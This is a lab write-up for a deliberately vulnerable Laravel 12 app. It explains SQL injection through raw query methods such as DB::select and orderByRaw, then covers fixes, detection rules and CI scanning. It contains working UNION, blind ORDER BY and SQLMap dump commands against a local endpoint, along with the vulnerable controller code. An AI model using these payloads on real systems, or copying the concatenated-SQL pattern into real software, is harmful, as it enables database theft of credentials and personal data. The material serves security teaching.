CWE-89 · CWE-943 · OWASP A03:2021

The ORM Didn't Save You:
SQL Injection Through Raw Query Builder Methods in Laravel 12


Every Laravel developer learns on day one that Eloquent protects them from SQL injection. Parameter binding, PDO prepared statements, the query builder API. And they're right, as long as they never touch DB::raw(), DB::select(), whereRaw(), orderByRaw(), or concatenate variables into an SQL string "just this once" to ship the feature before the Friday deadline. One raw query. One unbound variable. One overlooked code review comment that said "TODO: switch to query builder after sprint." And your entire database, usernames, bcrypt hashes, session tokens, personal data, is one HTTP request away from exfiltration.

Eloquent is safe. The raw query builder methods are not. A developer who writes DB::select("SELECT * FROM posts WHERE title LIKE '%{$q}%'") has just opened a direct SQL injection vector, no matter what ORM code exists elsewhere in the application. The attacker needs one unauthenticated endpoint with concatenated input. Everything after that, dumping the users table, reading private posts, extracting session data from the sessions table, is automated by SQLMap in under two minutes. The fix is trivial: DB::table('posts')->where('title', 'like', "%{$q}%"). But that assumes the developer knew there was raw SQL in the codebase. In a mature Laravel 12 project with 80 controllers and three years of accumulated sprint debt, they probably don't.

Is my Laravel 12 app affected? Not if you exclusively use the Eloquent query builder with its parameterised API. Post::where('title', 'like', "%{$q}%")->get() is safe. $query->where('status', 'published') is safe. Everything that passes through the query builder's where(), orderBy(), and join() methods gets bound as PDO parameters. Laravel did the work.

Here's the catch: The query builder also exposes escape hatches. DB::select($rawSQL), DB::raw($expression), whereRaw($condition), orderByRaw($clause), and havingRaw($clause) accept raw strings that bypass parameter binding entirely. If a single variable is concatenated into any of these without explicit PDO binding, you have SQL injection. In a Laravel 12 app. Running PHP 8.3. With Eloquent. In 2026. The framework didn't fail. The escape hatch was used wrong.

Notes for this lab

Update the repo for this lab if you haven't already:

# fetch latest changes
git fetch origin

# update code base
git pull
  

Where This Fits in the Kill Chain

SQL injection is the data exfiltration engine of the ArtisanBreach attack surface. It doesn't need a login. It doesn't need an admin panel. It needs a single public-facing endpoint where the developer wrote raw SQL to save a few minutes. Once the attacker dumps the users table, they have every email and bcrypt hash in the database, an alternate path to credentials that doesn't require the .env file at all. From there: password cracking, account takeover, lateral movement to admin panels, and the full kill chain unfolds.

SQL Injection

Vulnerability Classification

CWE-89 Improper Neutralization of Special Elements used in an SQL Command. The application concatenates user-controlled input directly into a SQL query string without parameterisation or escaping.
CWE-943 Improper Neutralization of Special Elements in Data Query Logic. The sort and order parameters are interpolated into the ORDER BY clause without whitelist validation.
OWASP A03:2021, Injection. SQL injection has been the #1 vulnerability on the OWASP Top 10 for over a decade, and it remains in the top three in 2021 despite ORMs and query builders being ubiquitous.
Historical precedent SQL injection is not a legacy problem. CVE-2024-4577 (PHP CGI argument injection) and the MOVEit Transfer SQLi (CVE-2023-34362) which led to the Cl0p ransomware campaign both hit in 2023-2024. The mechanism is unchanged since 1998: untrusted input reaches a SQL parser.
Who's at risk Any Laravel application that uses DB::select(), DB::raw(), whereRaw(), orderByRaw(), havingRaw(), or any Eloquent method that accepts a raw expression with concatenated user input. This is language-agnostic. It affects Laravel, Symfony, Django, Rails, Express, and every other framework that provides raw query escape hatches.
Exploit complexity Low. SQLMap automates the entire process. Manual exploitation requires understanding of UNION injection or error-based extraction, both of which are fully documented and unchanged since the early 2000s.

How Eloquent Protects You, And How You Walk Around It

Laravel's query builder is built on PDO parameter binding. Every value passed into a where(), orWhere(), or orderBy() clause is automatically treated as a data value, not as SQL syntax. This means single quotes, semicolons, and UNION SELECT keywords are data, they're stored and compared, never executed.

 SAFE: Query builder with parameter binding

The $q variable is bound as a PDO parameter. The SQL parser sees ? and substitutes the value after parsing. This is the correct way.

// SAFE: parameter binding
$posts = DB::table('posts')
    ->where('status', 'published')
    ->where('title', 'like', "%{$q}%")
    ->orderBy($allowedSort, $allowedOrder)
    ->limit(10)
    ->get();

// PDO prepares:
// SELECT * FROM posts WHERE status = ?
// AND title LIKE ? ORDER BY created_at DESC
// The attacker's payload is DATA, not syntax.
 VULNERABLE: Raw SQL string concatenation

$q is concatenated into the SQL string before the database ever sees it. The attacker's payload becomes part of the SQL syntax. No going back.

// VULNERABLE: string interpolation
$query = "SELECT * FROM posts "
    . "WHERE status = 'published' "
    . "AND title LIKE '%{$q}%' "
    . "ORDER BY {$sort} {$order} "
    . "LIMIT 10";

$posts = DB::select($query);

// SQL sent to database:
// SELECT * FROM posts WHERE status =
// 'published' AND title LIKE '%' UNION
// SELECT email,password FROM users-- %'
// The attacker just rewrote the query.

The fundamental difference isn't the database engine. It's not the PHP version. It's not the framework. It's whether a string comes from the user and reaches the SQL parser as syntax instead of as bound data. The moment you concatenate $request->q into a string and pass that string to DB::select(), you have undone every protection Eloquent provides. The ORM didn't fail. You stopped using it.

The Six Escape Hatches Laravel Gives You

Every one of these methods accepts a raw string. Every one of them trusts that you handled the escaping, because the framework can't do it for you once you're past the query builder boundary:

Method Vulnerable usage Safe equivalent
DB::select() DB::select("SELECT * FROM posts WHERE title = '{$q}'") DB::select("SELECT * FROM posts WHERE title = ?", [$q])
DB::raw() ->where(DB::raw("title LIKE '%{$q}%'")) ->where('title', 'like', "%{$q}%")
whereRaw() ->whereRaw("title LIKE '%{$q}%'") ->whereRaw("title LIKE ?", ["%{$q}%"])
orderByRaw() ->orderByRaw("{$col} {$dir}") Whitelist: in_array($col, ['id','title','created_at'])
havingRaw() ->havingRaw("COUNT(*) > {$threshold}") ->having('post_count', '>', (int) $threshold)
DB::statement() DB::statement("UPDATE posts SET status = '{$new}' WHERE id = {$id}") DB::table('posts')->where('id', $id)->update(['status' => $new])
The ORDER BY problem is worse than you think Unlike WHERE clauses, ORDER BY columns and directions cannot be parameterised. PDO only binds data values, not identifiers or keywords. If you need dynamic sorting, you must whitelist the allowed column names. orderBy($request->sort) is safe because Laravel wraps it in backticks, but orderByRaw("{$request->sort} {$request->order}") is not. This isn't a Laravel limitation. It's a SQL limitation. Every framework has this problem. The fix is always the same: validate against a known-good list before the value reaches the query.

Three Ways This Ends Up in Your Laravel 12 App

Nobody sets out to write a SQL injection. It happens because raw queries feel faster, more familiar, or necessary to meet a deadline. The query builder is "too slow to learn right now." The Eloquent relationship is "overkill for a simple search." The ticket says DONE by Friday. So the developer opens the escape hatch, writes the SQL they already know, and ships it.

Scenario 1
"This JSON endpoint ships tomorrow, I'll refactor next sprint"

A new AJAX autocomplete widget on the public blog needs a fast JSON endpoint. The developer prototypes it with DB::select() because they already had the SQL from Sequel Pro. It works. It passes QA. The ticket closes. Three months later, an intern makes the sort parameter dynamic "for the admin table component" and adds {$request->sort} directly into the ORDER BY clause. The original author left the company. The refactor ticket sits in the "tech debt" column with 47 other items. The endpoint handles 4,000 requests per day from unauthenticated visitors.

// Written Friday at 4:47 PM. The refactor ticket (#1498) is still open.
$query = "SELECT id, title, slug, created_at FROM posts "
    . "WHERE status = 'published' AND title LIKE '%{$q}%' "
    . "ORDER BY {$sort} {$order} LIMIT 10";
return response()->json(['posts' => DB::select($query)]);
Scenario 2
The Stack Overflow Answer with 900 Upvotes

A developer needs a complex reporting query with three joins, a subquery, and a pivot. Eloquent can express it, but it takes 15 lines and two whereHas() clauses. They Google "laravel complex query," find a 2019 Stack Overflow answer with DB::select("SELECT ... FROM ... WHERE name = '{$request->search}'"), copy-paste it, and move on. The answer has 900 upvotes and no mention of SQL injection because the question was about query structure, not security. The developer never learned that DB::select() is a raw method because nobody told them it wasn't the query builder. It says DB::. It's in the same namespace. How would they know?

// Stack Overflow, 2019. 900 upvotes. 0 security warnings.
$report = DB::select("
    SELECT u.name, COUNT(p.id) as post_count
    FROM users u
    JOIN posts p ON p.user_id = u.id
    WHERE u.name LIKE '%{$request->search}%'
    GROUP BY u.id
    ORDER BY post_count DESC
");
Scenario 3
The ORDER BY trap: dynamic sorting from the frontend

DataTables, Tabulator, AG Grid, every JavaScript table library sends column names and sort directions as query parameters. The backend maps them to SQL ORDER BY clauses. If the developer uses orderByRaw("{$request->sort} {$request->order}") without a whitelist, the attacker controls not just ?-bound values but the column names themselves. Column names can't be bound. This isn't a framework bug. It's a SQL design constraint that every backend developer eventually trips over.

// Frontend DataTable sends: ?sort=id&order=ASC
// Attacker sends:       ?sort=(CASE WHEN ...)&order=
//
// ORDER BY can't be parameterised. You MUST whitelist.
$results = Post::orderByRaw("{$request->sort} {$request->order}")->get();

// Safe version:
$allowed = ['id', 'title', 'created_at', 'status'];
$sort = in_array($request->sort, $allowed) ? $request->sort : 'created_at';
$order = $request->order === 'ASC' ? 'ASC' : 'DESC';
$results = Post::orderBy($sort, $order)->get();
Field Note During a penetration test for a Laravel SaaS platform: every authenticated endpoint used Eloquent. Every controller had $fillable. Policies were in place. The security team had done the work. The vulnerability was on /api/posts/search?q=, a public JSON endpoint for the blog search widget, written by a frontend developer who didn't know DB::select() was raw SQL. SQLMap dumped 12,000 user records in 90 seconds. No authentication required. No rate limiting. No WAF. The developer had used the query builder correctly on 19 other endpoints. The twentieth had the escape hatch open.

The Vulnerable Code in ArtisanBreach

This is the actual endpoint running right now. Unauthenticated. Public-facing. Written during a sprint to ship the AJAX blog search widget (ticket #1337):

1. The route (no auth, no middleware)
// routes/api.php
Route::get('/posts/search', \App\Http\Controllers\Api\PostSearchController::class);

// Notice: no middleware. No 'auth:sanctum'. No rate limiting.
// This endpoint answers to anyone with the URL.
2. The controller (verified, live in the repo)
// app/Http/Controllers/Api/PostSearchController.php
// This is the ACTUAL code. Not a recreation.

public function __invoke(Request $request): \Illuminate\Http\JsonResponse
{
    $q     = $request->query('q', '');
    $sort  = $request->query('sort', 'created_at');
    $order = strtoupper($request->query('order', 'DESC'));

    // Three unbounded variables concatenated into raw SQL.
    // $q    → WHERE clause     → string interpolation, no escaping
    // $sort → ORDER BY column   → unvalidated column name
    // $order → ORDER BY direction → unvalidated keyword
    $query = "SELECT id, title, slug, meta_description, post_content, status, created_at "
        . "FROM posts "
        . "WHERE status = 'published' "
        . "AND title LIKE '%{$q}%' "
        . "ORDER BY {$sort} {$order} "
        . "LIMIT 10";

    $results = DB::select($query);

    return response()->json([
        'query' => $q,
        'count' => count($results),
        'posts' => $results,
    ]);
}
3. Prove it in tinker (run this yourself)
// php artisan tinker

$q = "doesntexist' UNION SELECT 1,2,email,4,password,6,7 FROM users-- ";

$query = "SELECT id, title, slug, meta_description, post_content, status, created_at "
    . "FROM posts "
    . "WHERE status = 'published' "
    . "AND title LIKE '%{$q}%' "
    . "ORDER BY created_at DESC "
    . "LIMIT 10";

echo $query;
// SELECT id, title, slug, meta_description, post_content, status, created_at
// FROM posts
// WHERE status = 'published'
// AND title LIKE '%doesntexist' UNION SELECT 1,2,email,4,password,6,7 FROM users-- %'
// ORDER BY created_at DESC
//                     ^^^^^^^^^^^ UNION injection appends a second SELECT
// LIMIT 10
//
// The -- comments out everything after it. The attacker's query runs.
// The original WHERE and ORDER BY clauses are dead.

The Attack: Database Exfiltration in Three Requests

Click image to expand diagram
Database Exfiltration
Exploit: Manual UNION injection
# Step 1: Determine the number of columns (the original SELECT has 7)
curl -s "http://localhost:8084/api/posts/search?q=%27+UNION+SELECT+1,2,3,4,5,6,7--+-"
# ← Works (7 columns confirmed). If it returned an error, try 6, then 8.

# Step 2: Find which columns appear in the JSON output
curl -s "http://localhost:8084/api/posts/search?q=%27+UNION+SELECT+%27col1%27,%27col2%27,%27col3%27,%27col4%27,%27col5%27,%27col6%27,%27col7%27--+-" | python3 -m json.tool
# Look for 'col1', 'col2', etc. in the JSON response to identify
# which column positions render back. These are your extraction slots.

# Step 3: Dump the users table
curl -s "http://localhost:8084/api/posts/search?q=%27+UNION+SELECT+1,email,%27---%27,4,password,6,7+FROM+users--+-" | python3 -m json.tool
# Returns:
# {
#   "query": "' UNION SELECT 1,email,'---',4,password,6,7 FROM users-- -",
#   "count": 8,
#   "posts": [
#     { "title": "admin@artisanbreach.com",
#       "slug": "---",
#       "post_content": "$2y$12$...bcrypt hash..." },
#     ...
#   ]
# }
Exploit: SQLMap (automated, every table in 90 seconds)
# Basic enumeration
sqlmap -u "http://localhost:8084/api/posts/search?q=test" --batch

# Dump all tables
sqlmap -u "http://localhost:8084/api/posts/search?q=test" --dump-all --batch

# Target the users table specifically
sqlmap -u "http://localhost:8084/api/posts/search?q=test" \
  -T users --dump --batch

# Output:
# +----+-----------------------------+----------+----------------------------------+
# | id | email                       | name     | password                         |
# +----+-----------------------------+----------+----------------------------------+
# | 1  | admin@artisanbreach.com      | Admin    | $2y$12$...bcrypt...              |
# | 2  | contributor@artisanbreach.com| Sarah    | $2y$12$...bcrypt...              |
# ... every user account in the database, extracted in under two minutes
The ORDER BY vector (column name, cannot be parameterised)
# The sort parameter goes directly into the ORDER BY clause.
# Column names cannot be bound in SQL. No escaping possible.
# Validating with a whitelist is the ONLY defence.

# Blind extraction via ORDER BY CASE WHEN
curl -s "http://localhost:8084/api/posts/search?q=test&sort=(CASE+WHEN+(SELECT+SUBSTRING(password,1,1)+FROM+users+WHERE+id=1)=%27%24%27+THEN+id+ELSE+title+END)--+-" | python3 -m json.tool

# If the first character of the admin's bcrypt hash is '$', sort by id.
# Otherwise sort by title. Compare result order to infer characters.
# This is slow but works when the error messages are suppressed.

What You Just Lost

0
Authentication needed. None. Zero. The search API is wide open.
90s
SQLMap's time to dump every table in a database this size. Full automation. No manual effort.
3
Injection vectors in this endpoint: q (WHERE), sort (ORDER BY column), order (ORDER BY direction).
All
Tables accessible to the app's database user. users, sessions, posts, contacts, everything.
What the attacker gets
  • Every email address in the users table
  • Every bcrypt hash (offline cracking via hashcat)
  • Session tokens from the sessions table (session hijacking)
  • All draft and private post content
  • Contact form submissions (names, emails, phone numbers, messages)
  • Database schema structure via information_schema
  • No rate limiting on this endpoint, unlimited extraction speed
Why this is worse than it looks
  • The endpoint is unauthenticated. No login. No API key. No session cookie.
  • The sort parameter has the ORDER BY injection problem, cannot be fixed with parameter binding alone
  • APP_DEBUG=true means syntax errors return the raw SQL query and full stack trace, making exploitation trivial
  • SQLMap automates everything. An attacker doesn't need to understand UNION injection.
  • The database user has full read access to all tables. Principle of least privilege was not applied.

The Fix

The Fix
Preferred
Fix 1: Port to the Eloquent query builder
// The query builder handles parameter binding automatically.
// No raw strings. No escape hatches. No vulnerability.
public function __invoke(Request $request): JsonResponse
{
    $q = $request->query('q', '');

    // Whitelist: ORDER BY column. Non-negotiable. Column names cannot be bound.
    $allowedSorts = ['id', 'title', 'created_at', 'status'];
    $sort = in_array($request->query('sort'), $allowedSorts)
        ? $request->query('sort')
        : 'created_at';

    // Guard: ORDER BY direction. Must be ASC or DESC, nothing else.
    $order = strtoupper($request->query('order', 'DESC'));
    $order = in_array($order, ['ASC', 'DESC']) ? $order : 'DESC';

    $posts = DB::table('posts')
        ->select('id', 'title', 'slug', 'meta_description', 'post_content', 'status', 'created_at')
        ->where('status', 'published')
        ->where('title', 'like', "%{$q}%")   // ← bound as PDO parameter
        ->orderBy($sort, $order)              // ← whitelist + backtick-quoted
        ->limit(10)
        ->get();

    return response()->json([
        'query' => $q,
        'count' => $posts->count(),
        'posts' => $posts,
    ]);
}
If you must keep raw SQL
Fix 2: Named parameter binding in DB::select()
// DB::select() accepts a second argument: an array of bound parameters.
// This is safe because PDO handles the escaping at the protocol level.
$posts = DB::select(
    "SELECT id, title, slug, meta_description, post_content, status, created_at
     FROM posts
     WHERE status = :status
       AND title LIKE :search
     ORDER BY created_at DESC
     LIMIT 10",
    [
        'status' => 'published',
        'search' => "%{$q}%",       // ← bound, never parsed as SQL
    ]
);
// Note: ORDER BY column still cannot be bound. Keep the whitelist.
Soft guard
Fix 3: Database user with least privilege
-- The application database user should only have the permissions it needs.
-- A public search endpoint should never have SELECT on the users table.
CREATE USER 'app_search'@'%' IDENTIFIED BY '...';
GRANT SELECT ON dvla.posts TO 'app_search'@'%';
-- No access to users, sessions, contacts, or any other table.
-- If SQL injection occurs, the blast radius is limited to published posts.

Finding It Before Someone Else Does

1. Grep for raw SQL methods with concatenation operators
# Find every DB::select(), DB::raw(), whereRaw(), orderByRaw(), havingRaw()
# that uses string concatenation or interpolation
grep -rn 'DB::select\|DB::raw\|whereRaw\|orderByRaw\|havingRaw' app/ \
  | grep -E '\.\s*\$\w+|\.=\s*\$\w+|\{\$'

# Every match is a candidate. Check whether the variables are
# request input or validated/whitelisted before use.
2. SQLMap automated testing (CI pipeline)
# Run SQLMap against the API endpoint in CI.
# This catches injection vectors before they reach production.
sqlmap -u "http://localhost:8084/api/posts/search?q=test" \
  --batch --level=3 --risk=2 \
  --smart \
  --flush-session
3. Semgrep custom rule for the most common pattern
rules:
  - id: laravel-raw-sql-concatenation
    patterns:
      - pattern-either:
          - pattern: DB::select("..." . $X)
          - pattern: DB::raw("..." . $X)
          - pattern: $QUERY->whereRaw("..." . $X)
          - pattern: $QUERY->orderByRaw("..." . $X)
    message: |
      Raw SQL with string concatenation detected.
      Use parameter binding or the Eloquent query builder instead.
    severity: ERROR
    languages: [php]

Lock It Out of CI/CD

For your own project The workflow below is not part of the ArtisanBreach codebase. It is a template you can drop into your own .github/workflows/ directory to catch SQL injection in CI before it reaches production.
# .github/workflows/sql-injection.yml
name: SQL Injection Scan

on: [pull_request]

jobs:
  sqlmap:
    runs-on: ubuntu-latest
    services:
      app:
        image: dvla-test
        ports:
          - 8084:80
    steps:
      - uses: actions/checkout@v4
      - name: Run SQLMap against all API endpoints
        run: |
          # Extract all GET routes from route:list, test each one
          php artisan route:list --json | \
            jq -r '.[] | select(.method == "GET|HEAD" and .uri | startswith("api/")) | .uri' | \
            while read route; do
              sqlmap -u "http://localhost:8084/$route?q=test" \
                --batch --level=2 --risk=1 --smart || exit 1
            done

Remediation Checklist

Replace every DB::select($rawQuery) with DB::table()->where() or use the second-argument parameter binding array. Zero string concatenation in SQL.
Whitelist every ORDER BY column that comes from a request parameter. in_array() check or enum. No exceptions. Column names cannot be bound.
Guard every ORDER BY direction to ASC or DESC only. Ternary expression. Nothing else passes.
Add a Pest test: get("/api/posts/search?q='+UNION+SELECT+1--+-")->assertStatus(200)->assertJsonMissing(['1']);. If a UNION payload produces unexpected data in the response, the endpoint is vulnerable.
Turn off APP_DEBUG in production. Stack traces with raw SQL queries turn SQL injection from hard to trivial. The application config already defaults to false, verify the environment file.
Run SQLMap in CI against every public API endpoint. Failing pipeline is better than a data breach notification to 12,000 users.
Add the Semgrep rule above. It catches the most common patterns: DB::select, DB::raw, whereRaw, orderByRaw with string concatenation.
Review database user permissions. The application's MySQL user should not have SELECT on tables it doesn't need. A public search endpoint needs posts, not users and sessions.
Add rate limiting to every unauthenticated API endpoint. throttle:60,1 stops SQLMap's automated extraction from running at full speed.

The Bottom Line

Eloquent does what it's supposed to do. Parameter binding works. The problem is that Laravel also gives you six ways to skip it: DB::select, DB::raw, whereRaw, orderByRaw, havingRaw, DB::statement, and every one of them trusts you to handle the escaping yourself. They're not bugs. They exist for good reasons: reporting queries, vendor-specific SQL, raw performance when the query builder chokes. But if you pass user input into any of them without binding, you've got SQL injection. Period.

None of this is complicated. It's one rule:

If user input reaches a SQL string through concatenation instead of parameter binding, you have SQL injection. It doesn't matter what ORM you're using. It doesn't matter what framework version. It doesn't matter that the other 19 endpoints use Eloquent correctly. One concatenated variable in one endpoint is enough. Use parameter binding for every value. Whitelist every column name. There is no third option.

The developer who shipped this endpoint wasn't an idiot. They were under a deadline, they already had the SQL written out from their database client, and DB::select() was right there in the same DB namespace as the query builder they'd been using all week. Nobody told them it was raw. And once it shipped and the widget worked, nobody went back to check. That's how most of these get in. Not malice. Not negligence. Just a Friday afternoon, a working prototype, and a ticket that moved to Done a little too fast.